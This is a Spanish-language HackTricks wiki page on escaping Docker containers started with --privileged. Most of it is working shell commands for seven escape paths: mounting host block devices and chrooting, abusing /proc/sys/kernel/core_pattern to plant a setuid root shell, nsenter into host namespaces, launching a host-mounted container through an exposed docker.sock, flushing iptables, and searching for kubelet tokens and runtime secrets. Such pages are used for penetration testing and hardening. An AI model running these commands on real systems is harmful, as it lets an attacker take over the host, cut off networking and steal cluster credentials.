Escape de contenedores --privileged

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Resumen

Un contenedor iniciado con --privileged no es lo mismo que un contenedor normal con uno o dos permisos adicionales. En la práctica, --privileged elimina o debilita varias de las protecciones por defecto del runtime que normalmente mantienen la carga de trabajo alejada de recursos peligrosos del host. El efecto exacto sigue dependiendo del runtime y del host, pero para Docker el resultado habitual es:

  • se conceden todas las capabilities
  • se levantan las restricciones de device cgroup
  • muchos filesystems del kernel dejan de montarse en modo read-only
  • desaparecen las rutas por defecto en procfs que estaban masked
  • el filtrado seccomp se desactiva
  • la confinación AppArmor se desactiva
  • el aislamiento SELinux se desactiva o se reemplaza por una etiqueta mucho más amplia

La consecuencia importante es que un contenedor privileged normalmente no necesita un exploit sutil del kernel. En muchos casos puede simplemente interactuar con dispositivos del host, filesystems del kernel accesibles desde el host, o interfaces del runtime directamente y luego pivotar hacia una shell del host.

Lo que --privileged no cambia automáticamente

--privileged no une automáticamente los namespaces PID, network, IPC, o UTS del host. Un contenedor privileged todavía puede tener namespaces privados. Eso significa que algunas cadenas de escape requieren una condición adicional como:

  • un host bind mount
  • host PID sharing
  • host networking
  • dispositivos del host visibles
  • interfaces proc/sys con permisos de escritura

Esas condiciones a menudo son fáciles de satisfacer en malas configuraciones reales, pero son conceptualmente separadas de --privileged en sí.

Rutas de escape

1. Montar el disco del host a través de dispositivos expuestos

Un contenedor privileged suele ver muchos más nodos de dispositivo bajo /dev. Si el bloque device del host es visible, la manera más sencilla de escapar es montarlo y hacer chroot en el filesystem del host:

ls -l /dev/sd* /dev/vd* /dev/nvme* 2>/dev/null
mkdir -p /mnt/hostdisk
mount /dev/sda1 /mnt/hostdisk 2>/dev/null || mount /dev/vda1 /mnt/hostdisk 2>/dev/null
ls -la /mnt/hostdisk
chroot /mnt/hostdisk /bin/bash 2>/dev/null

Si la partición root no es obvia, enumera primero la estructura de bloques:

fdisk -l 2>/dev/null
blkid 2>/dev/null
debugfs /dev/sda1 2>/dev/null

Si la vía práctica es plantar un setuid helper en un host mount escribible en lugar de chroot, recuerda que no todos los sistemas de archivos respetan el bit setuid. Una comprobación rápida de capacidades en el host es:

mount | grep -v "nosuid"

Esto es útil porque las rutas con escritura bajo sistemas de archivos nosuid son mucho menos interesantes para los flujos de trabajo clásicos de “drop a setuid shell and execute it later”.

Las protecciones debilitadas que se explotan aquí son:

  • exposición completa de dispositivos
  • capacidades amplias, especialmente CAP_SYS_ADMIN

Related pages:

Capabilities

Mount Namespace

2. Montar o reutilizar un bind mount del host y chroot

Si el sistema de archivos raíz del host ya está montado dentro del contenedor, o si el contenedor puede crear los montajes necesarios porque es privilegiado, un shell del host suele estar a solo un chroot de distancia:

mount | grep -E ' /host| /mnt| /rootfs'
ls -la /host 2>/dev/null
chroot /host /bin/bash 2>/dev/null || /host/bin/bash -p

Si no existe un bind mount del host root pero el almacenamiento del host es accesible, créalo:

mkdir -p /tmp/host
mount --bind / /tmp/host
chroot /tmp/host /bin/bash 2>/dev/null

Esta ruta abusa de:

  • restricciones de montaje debilitadas
  • capabilities completas
  • falta de confinamiento MAC

Related pages:

Mount Namespace

Capabilities

AppArmor

SELinux

3. Abusar de /proc/sys o /sys

Una de las grandes consecuencias de --privileged es que las protecciones de procfs y sysfs se vuelven mucho más débiles. Eso puede exponer interfaces del kernel orientadas al host que normalmente están enmascaradas o montadas como solo lectura.

Un ejemplo clásico es core_pattern:

[ -w /proc/sys/kernel/core_pattern ] || exit 1
overlay=$(mount | sed -n 's/.*upperdir=\([^,]*\).*/\1/p' | head -n1)
cat <<'EOF' > /shell.sh
#!/bin/sh
cp /bin/sh /tmp/rootsh
chmod u+s /tmp/rootsh
EOF
chmod +x /shell.sh
echo "|$overlay/shell.sh" > /proc/sys/kernel/core_pattern
cat <<'EOF' > /tmp/crash.c
int main(void) {
char buf[1];
for (int i = 0; i < 100; i++) buf[i] = 1;
return 0;
}
EOF
gcc /tmp/crash.c -o /tmp/crash
/tmp/crash
ls -l /tmp/rootsh

Otras rutas de alto valor incluyen:

cat /proc/sys/kernel/modprobe 2>/dev/null
cat /proc/sys/fs/binfmt_misc/status 2>/dev/null
find /proc/sys -maxdepth 3 -writable 2>/dev/null | head -n 50
find /sys -maxdepth 4 -writable 2>/dev/null | head -n 50

Esta ruta abusa de:

  • missing masked paths
  • missing read-only system paths

Páginas relacionadas:

Masked Paths

Read Only Paths

4. Usar capacidades completas para Mount- o Namespace-Based Escape

Un contenedor privilegiado obtiene las capacidades que normalmente se eliminan de los contenedores estándar, incluyendo CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_SYS_MODULE, CAP_NET_ADMIN y muchas otras. Eso suele ser suficiente para convertir un foothold local en un host escape tan pronto como exista otra superficie expuesta.

Un ejemplo sencillo es montar sistemas de archivos adicionales y usar namespace entry:

capsh --print | grep cap_sys_admin
which nsenter
nsenter -t 1 -m -u -n -i -p sh 2>/dev/null || echo "host namespace entry blocked"

Si host PID también está compartido, el paso se vuelve aún más corto:

ps -ef | head -n 50
nsenter -t 1 -m -u -n -i -p /bin/bash

Esta vía abusa de:

  • el conjunto predeterminado de capacidades privilegiadas
  • compartición opcional del PID del host

Related pages:

Capabilities

PID Namespace

5. Escape Through Runtime Sockets

Un contenedor privilegiado frecuentemente termina con el estado de runtime del host o sus sockets visibles. Si es alcanzable un socket de Docker, containerd, o CRI-O, el enfoque más sencillo suele ser usar la API del runtime para lanzar un segundo contenedor con acceso al host:

find / -maxdepth 3 \( -name docker.sock -o -name containerd.sock -o -name crio.sock \) 2>/dev/null
docker -H unix:///var/run/docker.sock run --rm -it -v /:/mnt ubuntu chroot /mnt bash 2>/dev/null

Para containerd:

ctr --address /run/containerd/containerd.sock images ls 2>/dev/null

Esta ruta abusa de:

  • privileged runtime exposure
  • host bind mounts created through the runtime itself

Páginas relacionadas:

Mount Namespace

Runtime API And Daemon Exposure

6. Eliminar efectos secundarios del aislamiento de red

--privileged por sí solo no se une al espacio de nombres de red del host, pero si el contenedor también tiene --network=host u otro acceso a la red del host, toda la pila de red se vuelve mutable:

capsh --print | grep cap_net_admin
ip addr
ip route
iptables -S 2>/dev/null || nft list ruleset 2>/dev/null
ip link set lo down 2>/dev/null
iptables -F 2>/dev/null

Esto no siempre proporciona un host shell directo, pero puede provocar denial of service, traffic interception, o acceso a loopback-only management services.

Related pages:

Capabilities

Network Namespace

7. Leer secretos del host y estado en tiempo de ejecución

Incluso cuando un clean shell escape no es inmediato, los contenedores privilegiados a menudo tienen suficiente acceso para leer secretos del host, el estado del kubelet, metadatos en tiempo de ejecución y los sistemas de archivos de contenedores vecinos:

find /var/lib /run /var/run -maxdepth 3 -type f 2>/dev/null | head -n 100
find /var/lib/kubelet -type f -name token 2>/dev/null | head -n 20
find /var/lib/containerd -type f 2>/dev/null | head -n 50

Si /var está host-mounted o los runtime directories son visibles, esto puede ser suficiente para lateral movement o cloud/Kubernetes credential theft incluso antes de obtener un host shell.

Páginas relacionadas:

Mount Namespace

Sensitive Host Mounts

Comprobaciones

El propósito de los siguientes comandos es confirmar qué privileged-container escape families son inmediatamente viables.

capsh --print                                    # Confirm the expanded capability set
mount | grep -E '/proc|/sys| /host| /mnt'        # Check for dangerous kernel filesystems and host binds
ls -l /dev/sd* /dev/vd* /dev/nvme* 2>/dev/null   # Check for host block devices
grep Seccomp /proc/self/status                   # Confirm seccomp is disabled
cat /proc/self/attr/current 2>/dev/null          # Check whether AppArmor/SELinux confinement is gone
find / -maxdepth 3 -name '*.sock' 2>/dev/null    # Look for runtime sockets

Lo interesante aquí:

  • un conjunto completo de capacidades, especialmente CAP_SYS_ADMIN
  • exposición de proc/sys con permisos de escritura
  • dispositivos del host visibles
  • ausencia de seccomp y de confinamiento MAC
  • runtime sockets o host root bind mounts

Cualquiera de ellos puede ser suficiente para post-exploitation. Varias en conjunto suelen significar que el container está, funcionalmente, a uno o dos comandos de comprometer el host.

Capabilities

Seccomp

AppArmor

SELinux

Masked Paths

Read Only Paths

Mount Namespace

PID Namespace

Network Namespace

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks